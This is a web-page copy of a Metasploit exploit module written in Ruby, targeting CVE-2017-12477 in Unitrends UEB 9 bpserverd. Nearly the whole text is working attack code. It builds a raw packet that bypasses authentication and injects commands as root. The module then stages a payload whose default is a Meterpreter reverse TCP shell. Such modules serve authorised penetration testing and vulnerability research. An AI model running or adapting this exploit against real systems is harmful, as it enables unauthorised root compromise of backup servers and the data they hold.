Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/ueb9_bpserverd.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Unitrends UEB bpserverd authentication bypass RCE',
17
'Description' => %q{
18
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
19
has an issue in which its authentication can be bypassed. A remote attacker could use this
20
issue to execute arbitrary commands with root privilege on the target system.
21
},
22
'Author' => [
23
'Jared Arave', # @iotennui
24
'Cale Smith', # @0xC413
25
'Benny Husted' # @BennyHusted
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'linux',
29
'Arch' => [ARCH_X86],
30
'CmdStagerFlavor' => [ 'printf' ],
31
'References' => [
32
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],
33
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],
34
['CVE', '2017-12477'],
35
],
36
'Targets' => [
37
[ 'UEB 9.*', {} ]
38
],
39
'Privileged' => true,
40
'DefaultOptions' => {
41
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
42
'SSL' => false
43
},
44
'DisclosureDate' => '2017-08-08',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
register_options([
54
Opt::RPORT(1743)
55
])
56
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
57
end
58
59
def check
60
s1 = connect(global = false)
61
buf1 = s1.get_once(-1).to_s
62
# parse out the bpd port returned
63
bpd_port = buf1[-8..-3].to_i
64
65
# check if it's a valid port number (1-65534)
66
if bpd_port && bpd_port >= 1 && bpd_port <= 65535
67
Exploit::CheckCode::Detected
68
else
69
Exploit::CheckCode::Safe
70
end
71
end
72
73
def execute_command(cmd, opts = {})
74
# append a comment, ignore everything after our cmd
75
cmd = cmd + " #"
76
77
# build the attack buffer...
78
command_len = cmd.length + 3
79
packet_len = cmd.length + 23
80
data = "\xa5\x52\x00\x2d"
81
data << "\x00\x00\x00"
82
data << packet_len
83
data << "\x00\x00\x00"
84
data << "\x01"
85
data << "\x00\x00\x00"
86
data << "\x4c"
87
data << "\x00\x00\x00"
88
data << command_len
89
data << cmd
90
data << "\x00\x00\x00"
91
92
begin
93
print_status("Connecting to xinetd for bpd port...")
94
s1 = connect(global = false)
95
buf1 = s1.get_once(-1).to_s
96
97
# parse out the bpd port returned, we will connect back on this port to send our cmd
98
bpd_port = buf1[-8..-3].to_i
99
100
print_good("bpd port received: #{bpd_port}")
101
vprint_status("Connecting to #{bpd_port}")
102
103
s2 = connect(global = false, opts = { 'RPORT' => bpd_port })
104
vprint_good('Connected!')
105
106
print_status('Sending command buffer to xinetd')
107
108
s1.put(data)
109
s2.get_once(-1, 1).to_s
110
111
disconnect(s1)
112
disconnect(s2)
113
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
114
fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
115
end
116
end
117
118
def exploit
119
print_status("#{peer} - pwn'ng ueb 9....")
120
execute_cmdstager(:linemax => 200)
121
end
122
end
123
124